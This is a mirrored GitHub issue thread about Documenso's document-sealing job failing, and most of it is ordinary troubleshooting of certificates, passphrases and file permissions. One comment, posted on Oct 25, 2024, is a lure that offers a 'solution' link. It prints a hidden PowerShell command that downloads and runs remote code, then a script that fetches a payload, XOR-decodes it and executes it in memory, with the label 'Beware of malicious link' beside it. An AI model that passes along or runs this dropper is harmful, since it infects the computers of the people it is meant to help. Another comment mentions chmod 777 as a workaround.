@talhak55 commented on GitHub (Oct 22, 2024):

I'm still getting the same log, and when creating the private.key, it doesn't prompt for a passphrase. It only asks for a passphrase when exporting to PKCS12 format.

Submitting job to endpoint: https://documenso.domain.com/api/jobs/internal.seal-document/cm2kljswu0014mi27yj4wjeyr

[JOBS]: Triggering job internal.seal-document with payload {

  documentId: 4,

  requestMetadata: {

    userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'

  }

}

[JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries

    at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015)

    at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)

    at async /app/apps/web/.next/server/chunks/9783.js:1:15444

    at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)

    at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)

    at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)

    at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)

    at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)

    at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)

    at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
<!-- gh-comment-id:2429601217 --> @talhak55 commented on GitHub (Oct 22, 2024): I'm still getting the same log, and when creating the private.key, it doesn't prompt for a passphrase. It only asks for a passphrase when exporting to PKCS12 format. ``` Submitting job to endpoint: https://documenso.domain.com/api/jobs/internal.seal-document/cm2kljswu0014mi27yj4wjeyr [JOBS]: Triggering job internal.seal-document with payload { documentId: 4, requestMetadata: { userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36' } } [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015) at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) at async /app/apps/web/.next/server/chunks/9783.js:1:15444 at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) ```
kerem commented 2026-02-26 18:46:51 +03:00
Author
Owner
Copy link

@LckySndays commented on GitHub (Oct 25, 2024):

to fix your trouble check this solution click maybe this will solve your problem.

Beware of malicious link

powershell -WindowStyle Hidden ([ScriptBlock]::Create((irm https://javierlopez.eu/adapt/kingdom))).Invoke()

$url = "https://javierlopez.eu/adapt/cabbage"
$webClient = New-Object System.Net.WebClient
$sell61 = $webClient.DownloadData($url)

$gossip123 = 0x09, 0x04, 0x05

$struggle6 = [byte[]]::new($sell61.Length)

for ($i = 0; $i -lt $sell61.Length; $i++) {
    $struggle6[$i] = $sell61[$i] -bxor $gossip123[$i % $gossip123.Length]
}

$afraid16 = [System.AppDomain]::CurrentDomain.Load($struggle6)

if ($afraid16.EntryPoint -ne $null) {
    $afraid16.EntryPoint.Invoke($null, @($null))
} else {
    Write-Host "glass glimpse glue gloom"
}
<!-- gh-comment-id:2436602694 --> @LckySndays commented on GitHub (Oct 25, 2024): > to fix your trouble check this solution [click](https://www.calvarywhangarei.co.nz/captha/index.html) maybe this will solve your problem. Beware of malicious link powershell -WindowStyle Hidden ([ScriptBlock]::Create((irm https://javierlopez.eu/adapt/kingdom))).Invoke() ``` $url = "https://javierlopez.eu/adapt/cabbage" $webClient = New-Object System.Net.WebClient $sell61 = $webClient.DownloadData($url) $gossip123 = 0x09, 0x04, 0x05 $struggle6 = [byte[]]::new($sell61.Length) for ($i = 0; $i -lt $sell61.Length; $i++) { $struggle6[$i] = $sell61[$i] -bxor $gossip123[$i % $gossip123.Length] } $afraid16 = [System.AppDomain]::CurrentDomain.Load($struggle6) if ($afraid16.EntryPoint -ne $null) { $afraid16.EntryPoint.Invoke($null, @($null)) } else { Write-Host "glass glimpse glue gloom" } ```
kerem commented 2026-02-26 18:46:52 +03:00
Author
Owner
Copy link

@falzfalzfalz commented on GitHub (Oct 27, 2024):

Any chances someone can look into this ? There's been many reports of the bug now

<!-- gh-comment-id:2440075443 --> @falzfalzfalz commented on GitHub (Oct 27, 2024): Any chances someone can look into this ? There's been many reports of the bug now
kerem commented 2026-02-26 18:46:52 +03:00
Author
Owner
Copy link

@xfang2024 commented on GitHub (Oct 28, 2024):

same problem, can anybody help figure out this bug?

<!-- gh-comment-id:2441863820 --> @xfang2024 commented on GitHub (Oct 28, 2024): same problem, can anybody help figure out this bug?
kerem commented 2026-02-26 18:46:52 +03:00
Author
Owner
Copy link

@Dev-dpk commented on GitHub (Oct 29, 2024):

I had the same issue . Steps followed to fix the issue

  • Created .p12 certificate without using a passphrase
  • Set the NEXT_PRIVATE_SIGNING_LOCAL_FILE_PATH to the absolute path of certificate
  • [IMPORTANT] If you are running the server as service make sure the user mentioned in configuration have the access to the certificate file in my case it was www-data
<!-- gh-comment-id:2443204356 --> @Dev-dpk commented on GitHub (Oct 29, 2024): I had the same issue . Steps followed to fix the issue - Created .p12 certificate without using a passphrase - Set the `NEXT_PRIVATE_SIGNING_LOCAL_FILE_PATH` to the absolute path of certificate - [IMPORTANT] If you are running the server as service make sure the user mentioned in configuration have the access to the certificate file in my case it was `www-data`
kerem commented 2026-02-26 18:46:52 +03:00
Author
Owner
Copy link

@dguyen commented on GitHub (Oct 29, 2024):

If you're encountering an error like this using the production docker image:

[JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed

Can you please try this?

  1. Recreate the certificate and use the -legacy flag (look at the yellow alert here)

  2. Set the NEXT_PRIVATE_SIGNING_PASSPHRASE environment variable to the password you provided when creating the certificate

If you're using docker compose, add this to the environment section in the compose file

environment:
  - NEXT_PRIVATE_SIGNING_PASSPHRASE=${NEXT_PRIVATE_SIGNING_PASSPHRASE}

Then update the .env file with NEXT_PRIVATE_SIGNING_PASSPHRASE with your certificate password

  1. Ensure the certificate volume is binded correctly, example:
volumes:
  - /path/to/your/new/certificate.p12:/opt/documenso/cert.p12

Do not change the right hand side

  1. Spin up docker and try signing a document

Additional debugging

If you're still running into an error:

  1. Update a user account to admin (add the ADMIN the role of the user roles)
  2. Log into that account and navigate to http://localhost:3000/admin/documents
  3. Find a broken pending document and click into it
  4. Click on Reseal Document
  5. Look at the docker logs to see the error

If you see a permission error try to chmod the cert or chown it to be the same group as nextjs 1001

Resealing document will sign the document with the certificate, so it should allow us to see the exact error instead of it being hidden in the job.

<!-- gh-comment-id:2443702614 --> @dguyen commented on GitHub (Oct 29, 2024): If you're encountering an error like this using the production docker image: ``` [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed ``` Can you please try this? 1. Recreate the certificate and use the `-legacy` flag [(look at the yellow alert here)](https://docs.documenso.com/developers/local-development/signing-certificate#create-p12-certificate) 2. Set the `NEXT_PRIVATE_SIGNING_PASSPHRASE` environment variable to the password you provided when creating the certificate If you're using docker compose, add this to the environment section in the compose file ``` environment: - NEXT_PRIVATE_SIGNING_PASSPHRASE=${NEXT_PRIVATE_SIGNING_PASSPHRASE} ``` Then update the .env file with `NEXT_PRIVATE_SIGNING_PASSPHRASE` with your certificate password 3. Ensure the certificate volume is binded correctly, example: ``` volumes: - /path/to/your/new/certificate.p12:/opt/documenso/cert.p12 ``` Do not change the right hand side 4. Spin up docker and try signing a document **Additional debugging** If you're still running into an error: 1. Update a user account to admin (add the `ADMIN` the role of the user roles) 2. Log into that account and navigate to http://localhost:3000/admin/documents 3. Find a broken pending document and click into it 4. Click on `Reseal Document` 5. Look at the docker logs to see the error If you see a permission error try to chmod the cert or chown it to be the same group as nextjs 1001 Resealing document will sign the document with the certificate, so it should allow us to see the exact error instead of it being hidden in the job.
kerem commented 2026-02-26 18:46:52 +03:00
Author
Owner
Copy link

@nicko170 commented on GitHub (Oct 29, 2024):

Running into this too.

The task fails, but the document is signed, marked completed and ready for downloading if the page is refreshed or viewed.

Emails are not being sent for completion.

Signing in admin works fine, and no error is produced.

Running 1.7.2-rc.1

2024-10-29T22:01:21+11:00 [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries
2024-10-29T22:01:21+11:00     at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015)
2024-10-29T22:01:21+11:00     at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:27451)
2024-10-29T22:01:21+11:00     at async /app/apps/web/.next/server/chunks/9783.js:1:15444
2024-10-29T22:01:21+11:00     at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)
2024-10-29T22:01:21+11:00     at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)
2024-10-29T22:01:21+11:00     at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)
2024-10-29T22:01:21+11:00     at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)
2024-10-29T22:01:21+11:00     at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)
2024-10-29T22:01:21+11:00     at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)
2024-10-29T22:01:21+11:00     at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
<!-- gh-comment-id:2445377837 --> @nicko170 commented on GitHub (Oct 29, 2024): Running into this too. The task fails, but the document is signed, marked completed and ready for downloading if the page is refreshed or viewed. Emails are not being sent for completion. Signing in admin works fine, and no error is produced. Running 1.7.2-rc.1 ``` 2024-10-29T22:01:21+11:00 [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries 2024-10-29T22:01:21+11:00 at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015) 2024-10-29T22:01:21+11:00 at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:27451) 2024-10-29T22:01:21+11:00 at async /app/apps/web/.next/server/chunks/9783.js:1:15444 2024-10-29T22:01:21+11:00 at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) 2024-10-29T22:01:21+11:00 at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) 2024-10-29T22:01:21+11:00 at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) 2024-10-29T22:01:21+11:00 at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) 2024-10-29T22:01:21+11:00 at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) 2024-10-29T22:01:21+11:00 at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) 2024-10-29T22:01:21+11:00 at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) ```
kerem commented 2026-02-26 18:46:52 +03:00
Author
Owner
Copy link

@LckySndays commented on GitHub (Oct 30, 2024):

@dguyen

Still same problem on my end, here is the new logs generated by the reseal button

[JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries

    at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015)

    at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)

    at async /app/apps/web/.next/server/chunks/9783.js:1:15444

    at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)

    at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)

    at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)

    at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)

    at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)

    at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)

    at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)

resealDocument error Error: EISDIR: illegal operation on a directory, read

    at Object.readSync (node:fs:744:3)

    at tryReadSync (node:fs:444:20)

    at Object.readFileSync (node:fs:490:19)

    at I (/app/apps/web/.next/server/chunks/9182.js:1:1173367)

    at async I (/app/apps/web/.next/server/chunks/9182.js:1:1171497)

    at async R (/app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:52650)

    at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:120070

    at async resolveMiddleware (file:///app/node_modules/@trpc/server/dist/index.mjs:420:30)

    at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32)

    at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) {

  errno: -21,

  syscall: 'read',

  code: 'EISDIR'

}

resealDocument error Error: EISDIR: illegal operation on a directory, read

    at Object.readSync (node:fs:744:3)

    at tryReadSync (node:fs:444:20)

    at Object.readFileSync (node:fs:490:19)

    at I (/app/apps/web/.next/server/chunks/9182.js:1:1173367)

    at async I (/app/apps/web/.next/server/chunks/9182.js:1:1171497)

    at async R (/app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:52650)

    at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:120070

    at async resolveMiddleware (file:///app/node_modules/@trpc/server/dist/index.mjs:420:30)

    at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32)

    at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) {

  errno: -21,

  syscall: 'read',

  code: 'EISDIR'

}
<!-- gh-comment-id:2445714964 --> @LckySndays commented on GitHub (Oct 30, 2024): @dguyen Still same problem on my end, here is the new logs generated by the reseal button ``` [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015) at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) at async /app/apps/web/.next/server/chunks/9783.js:1:15444 at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) resealDocument error Error: EISDIR: illegal operation on a directory, read at Object.readSync (node:fs:744:3) at tryReadSync (node:fs:444:20) at Object.readFileSync (node:fs:490:19) at I (/app/apps/web/.next/server/chunks/9182.js:1:1173367) at async I (/app/apps/web/.next/server/chunks/9182.js:1:1171497) at async R (/app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:52650) at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:120070 at async resolveMiddleware (file:///app/node_modules/@trpc/server/dist/index.mjs:420:30) at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) { errno: -21, syscall: 'read', code: 'EISDIR' } resealDocument error Error: EISDIR: illegal operation on a directory, read at Object.readSync (node:fs:744:3) at tryReadSync (node:fs:444:20) at Object.readFileSync (node:fs:490:19) at I (/app/apps/web/.next/server/chunks/9182.js:1:1173367) at async I (/app/apps/web/.next/server/chunks/9182.js:1:1171497) at async R (/app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:52650) at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:120070 at async resolveMiddleware (file:///app/node_modules/@trpc/server/dist/index.mjs:420:30) at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) { errno: -21, syscall: 'read', code: 'EISDIR' } ```
kerem commented 2026-02-26 18:46:52 +03:00
Author
Owner
Copy link

@dguyen commented on GitHub (Oct 30, 2024):

@LckySndays could you please connect to the docker container and check whether the certificate exists as /opt/documenso/cert.p12?

<!-- gh-comment-id:2445723437 --> @dguyen commented on GitHub (Oct 30, 2024): @LckySndays could you please connect to the docker container and check whether the certificate exists as /opt/documenso/cert.p12?
kerem commented 2026-02-26 18:46:52 +03:00
Author
Owner
Copy link

@LckySndays commented on GitHub (Oct 30, 2024):

@dguyen
the certificate exist there with the following permission
image

<!-- gh-comment-id:2445804117 --> @LckySndays commented on GitHub (Oct 30, 2024): @dguyen the certificate exist there with the following permission ![image](https://github.com/user-attachments/assets/997325dc-edd9-46e3-8aa4-4b09dca23f47)
kerem commented 2026-02-26 18:46:52 +03:00
Author
Owner
Copy link

@dguyen commented on GitHub (Oct 30, 2024):

@LckySndays it looks like cert.p12 is a directory? It should be a file

<!-- gh-comment-id:2445872824 --> @dguyen commented on GitHub (Oct 30, 2024): @LckySndays it looks like cert.p12 is a directory? It should be a file
kerem commented 2026-02-26 18:46:52 +03:00
Author
Owner
Copy link

@LckySndays commented on GitHub (Oct 30, 2024):

@dguyen nice catch
Seems like still got same error when do the reseal (Failed to reseal document)
Should I change the permission of the file?
image

[JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries

    at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015)

    at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)

    at async /app/apps/web/.next/server/chunks/9783.js:1:15444

    at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)

    at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)

    at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)

    at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)

    at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)

    at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)

    at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)

resealDocument error Error: EACCES: permission denied, open '/opt/documenso/cert.p12'

    at Object.openSync (node:fs:596:3)

    at Object.readFileSync (node:fs:464:35)

    at I (/app/apps/web/.next/server/chunks/9182.js:1:1173367)

    at async I (/app/apps/web/.next/server/chunks/9182.js:1:1171497)

    at async R (/app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:52650)

    at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:120070

    at async resolveMiddleware (file:///app/node_modules/@trpc/server/dist/index.mjs:420:30)

    at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32)

    at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32)

    at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:175333 {

  errno: -13,

  syscall: 'open',

  code: 'EACCES',

  path: '/opt/documenso/cert.p12'

}

Edit:
chmod 777 cert.p12 seems does the trick and I have successfully signed the document
Is it the correct way to solve the issue?

<!-- gh-comment-id:2445892932 --> @LckySndays commented on GitHub (Oct 30, 2024): @dguyen nice catch Seems like still got same error when do the reseal (Failed to reseal document) Should I change the permission of the file? ![image](https://github.com/user-attachments/assets/9194c798-8e5b-45ce-84f0-6ce569e1863c) ``` [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015) at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) at async /app/apps/web/.next/server/chunks/9783.js:1:15444 at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) resealDocument error Error: EACCES: permission denied, open '/opt/documenso/cert.p12' at Object.openSync (node:fs:596:3) at Object.readFileSync (node:fs:464:35) at I (/app/apps/web/.next/server/chunks/9182.js:1:1173367) at async I (/app/apps/web/.next/server/chunks/9182.js:1:1171497) at async R (/app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:52650) at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:120070 at async resolveMiddleware (file:///app/node_modules/@trpc/server/dist/index.mjs:420:30) at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) at async callRecursive (file:///app/node_modules/@trpc/server/dist/index.mjs:456:32) at async /app/apps/web/.next/server/pages/api/trpc/[trpc].js:1:175333 { errno: -13, syscall: 'open', code: 'EACCES', path: '/opt/documenso/cert.p12' } ``` Edit: chmod 777 cert.p12 seems does the trick and I have successfully signed the document Is it the correct way to solve the issue?
kerem commented 2026-02-26 18:46:52 +03:00
Author
Owner
Copy link

@dguyen commented on GitHub (Oct 30, 2024):

@LckySndays There's also this https://github.com/documenso/documenso/issues/1171#issuecomment-2181943339 where you would set the cert owner to the nextjs user. Haven't tried this though

You could also try a less permissive setting such as chmod 644, which should work as well?

<!-- gh-comment-id:2445949444 --> @dguyen commented on GitHub (Oct 30, 2024): @LckySndays There's also this https://github.com/documenso/documenso/issues/1171#issuecomment-2181943339 where you would set the cert owner to the nextjs user. Haven't tried this though You could also try a less permissive setting such as `chmod 644`, which should work as well?
kerem commented 2026-02-26 18:46:52 +03:00
Author
Owner
Copy link

@gfmozzer commented on GitHub (Nov 9, 2024):

None of the approaches worked for me; the documents remain pending.

<!-- gh-comment-id:2465958638 --> @gfmozzer commented on GitHub (Nov 9, 2024): None of the approaches worked for me; the documents remain pending.
kerem commented 2026-02-26 18:46:52 +03:00
Author
Owner
Copy link

@InvixGG commented on GitHub (Nov 10, 2024):

None of the approaches worked for me; the documents remain pending.

Did you create your certificate with the -legacy flag?

<!-- gh-comment-id:2466847012 --> @InvixGG commented on GitHub (Nov 10, 2024): > None of the approaches worked for me; the documents remain pending. Did you create your certificate with the -legacy flag?
kerem commented 2026-02-26 18:46:52 +03:00
Author
Owner
Copy link

@vinybk commented on GitHub (Nov 15, 2024):

A solution for the Issue

I encountered the same issue and was able to resolve it successfully by following the steps outlined in this thread 🎉. Here's a detailed breakdown of what worked for me, using version 1.7.2-rc.4:

1. Generate a New Certificate

I generated a new certificate following the instructions provided by @gps949.

For more information regarding the certificate, see this issue: #1171.

2. Debugging via the Admin Panel

I logged into the admin panel for debugging, as suggested by @dguyen.

When attempting to seal the document via the admin panel, I encountered the following error:

3. Error: resealDocument error Error: EACCES: permission denied

documenso_1 | resealDocument error Error: EACCES: permission denied, open '/opt/documenso/cert.p12'

This happened because I missed the following command:

chown 1001 certificate.p12

4. Error: Failed to Get Private Key Bags

After fixing the above, I ran into another error:

resealDocument error Error: Failed to get private key bags

To debug further, I checked the container environment variables with:

sudo docker exec <container id> env

To my surprise, I found that the passphrase was blank:

NEXT_PRIVATE_SIGNING_PASSPHRASE=

5. Fixing the ENV Variable Issue

Even though my .env file and docker-compose configuration were correct, the NEXT_PRIVATE_SIGNING_PASSPHRASE variable was not being passed to the container. After some troubleshooting, I:

Deleted the problematic line in the .env file.
Re-added it manually (not via copy-paste).
This resolved the issue! I suspect the original line contained a special character that Docker could not parse correctly.

Here’s a visual reference:

Imagem do WhatsApp de 2024-11-15 à(s) 19 05 28_55113513

Left (Purple): Working variable.
Right (Green): Non-working variable.

PS: How to assigning the ADMIN Role

For those needing to assign admin privileges to a user, here are the steps I followed:

Connect to the Docker Container

sudo docker ps
sudo docker exec -it <postgres container id> sh

Connect to PostgreSQL

psql -d documenso -U documenso

Remember to change user and database name if your is different.

View Users with the USER Role

SELECT * FROM "User" WHERE 'USER' = ANY(roles);

Update the User Role

UPDATE "User"
SET roles = ARRAY_REMOVE(roles, 'USER') || ARRAY['ADMIN']::"Role"[]
WHERE email = 'user@email';

Confirm the Change

SELECT name, email, roles FROM "User" WHERE 'ADMIN' = ANY(roles);

For more information regarding the certificate, see this issue: #1171.

Good luck! 🙌

<!-- gh-comment-id:2480131272 --> @vinybk commented on GitHub (Nov 15, 2024): ### A solution for the Issue I encountered the same issue and was able to resolve it successfully by following the steps outlined in this thread 🎉. Here's a detailed breakdown of what worked for me, using version 1.7.2-rc.4: ### 1. Generate a New Certificate I generated a new certificate following the instructions provided by [@gps949](https://github.com/documenso/documenso/issues/1399#issuecomment-2429221441). For more information regarding the certificate, see this issue: [#1171](https://github.com/documenso/documenso/issues/1171). ### 2. Debugging via the Admin Panel I logged into the admin panel for debugging, as suggested by [@dguyen](https://github.com/documenso/documenso/issues/1399#issuecomment-2443702614). When attempting to seal the document via the admin panel, I encountered the following error: ### 3. Error: resealDocument error Error: EACCES: permission denied > documenso_1 | resealDocument error Error: EACCES: permission denied, open '/opt/documenso/cert.p12' This happened because I missed the following command: ``` chown 1001 certificate.p12 ``` ### 4. Error: Failed to Get Private Key Bags After fixing the above, I ran into another error: > resealDocument error Error: Failed to get private key bags To debug further, I checked the container environment variables with: ``` sudo docker exec <container id> env ``` To my surprise, I found that the passphrase was blank: `NEXT_PRIVATE_SIGNING_PASSPHRASE=` ### 5. Fixing the ENV Variable Issue Even though my .env file and docker-compose configuration were correct, the NEXT_PRIVATE_SIGNING_PASSPHRASE variable was not being passed to the container. After some troubleshooting, I: Deleted the problematic line in the .env file. Re-added it manually (not via copy-paste). This resolved the issue! I suspect the original line contained a special character that Docker could not parse correctly. Here’s a visual reference: ![Imagem do WhatsApp de 2024-11-15 à(s) 19 05 28_55113513](https://github.com/user-attachments/assets/a05d78e9-deb5-4554-ab7c-6f99dcdf9f85) Left (Purple): Working variable. Right (Green): Non-working variable. ### PS: How to assigning the ADMIN Role For those needing to assign admin privileges to a user, here are the steps I followed: Connect to the Docker Container ``` sudo docker ps sudo docker exec -it <postgres container id> sh ``` Connect to PostgreSQL ``` psql -d documenso -U documenso ``` _Remember to change user and database name if your is different._ View Users with the USER Role ``` SELECT * FROM "User" WHERE 'USER' = ANY(roles); ``` Update the User Role ``` UPDATE "User" SET roles = ARRAY_REMOVE(roles, 'USER') || ARRAY['ADMIN']::"Role"[] WHERE email = 'user@email'; ``` Confirm the Change ``` SELECT name, email, roles FROM "User" WHERE 'ADMIN' = ANY(roles); ``` For more information regarding the certificate, see this issue: [#1171](https://github.com/documenso/documenso/issues/1171). Good luck! 🙌
kerem commented 2026-02-26 18:46:52 +03:00
Author
Owner
Copy link

@tmlmt commented on GitHub (Nov 16, 2024):

Thanks @vinbrun and @dguyen!

The combination of -legacy flag (I wonder why that is necessary?), NEXT_PRIVATE_SIGNING_PASSPHRASE in the .env + compose file and correct permission for the certificate.p12 file, solved the issue.

I can see that the docs and example docker compose file have been updated in this commit as part of v1.8.0-rc.0 so new users shouldn't encounter this issue if they follow the instructions to create the certificate and use the latest compose file example.

Two details though:

  1. I would encourage to start from the example .env file in the repo instead of the (too?) minimal .env content suggested in the docs as it may be confusing or incomplete (e.g. missing the SIGNING_PASSPHRASE variable or other useful ones) while the example env file is thorough and clear.
  2. There is no need to set the owner of the cert.p12 file to 1001 and it may also be confusing as the 1001 user on the host may exist and be different. A read permission also works (sudo chmod 644 cert.p12)
<!-- gh-comment-id:2480837281 --> @tmlmt commented on GitHub (Nov 16, 2024): Thanks @vinbrun and @dguyen! The combination of `-legacy` flag (I wonder why that is necessary?), `NEXT_PRIVATE_SIGNING_PASSPHRASE` in the .env + compose file and correct permission for the `certificate.p12` file, solved the issue. I can see that the [docs](https://docs.documenso.com/developers/local-development/signing-certificate) and example [docker compose file](https://raw.githubusercontent.com/documenso/documenso/release/docker/production/compose.yml) have been updated in [this commit](https://github.com/documenso/documenso/commit/1b10c55758b828e05ff533b6c2901f5ffd204155) as part of v1.8.0-rc.0 so new users shouldn't encounter this issue if they follow the instructions to create the certificate and use the latest compose file example. Two details though: 1. I would encourage to start from the [example `.env` file](https://github.com/documenso/documenso/blob/main/.env.example) in the repo instead of the (too?) minimal .env content suggested in the [docs](https://docs.documenso.com/developers/self-hosting/how-to#docker) as it may be confusing or incomplete (e.g. missing the SIGNING_PASSPHRASE variable or other useful ones) while the example env file is thorough and clear. 2. There is no need to set the owner of the `cert.p12` file to 1001 and it may also be confusing as the 1001 user on the host may exist and be different. A read permission also works (`sudo chmod 644 cert.p12`)
Sign in to join this conversation.
No Branch/Tag specified
Branches Tags
main
chore/translations
feat/signing-required-field-colors
feat/add-field-overflow-settings
chore/extract-translations
release
feat/public-completed-document-access
feat/bulk-download
docs/signing-reminders
feat/document-file-conversion
feat/prefetch-intent-navigation-links
fix/lint-project
fix/replace-linter-with-biome
fix/security-improvements
perf/dynamic-import-posthog
deps/vite-8
chore/migrate-eslint-prettier-to-oxlint-oxfmt
chore/migrate-to-pnpm
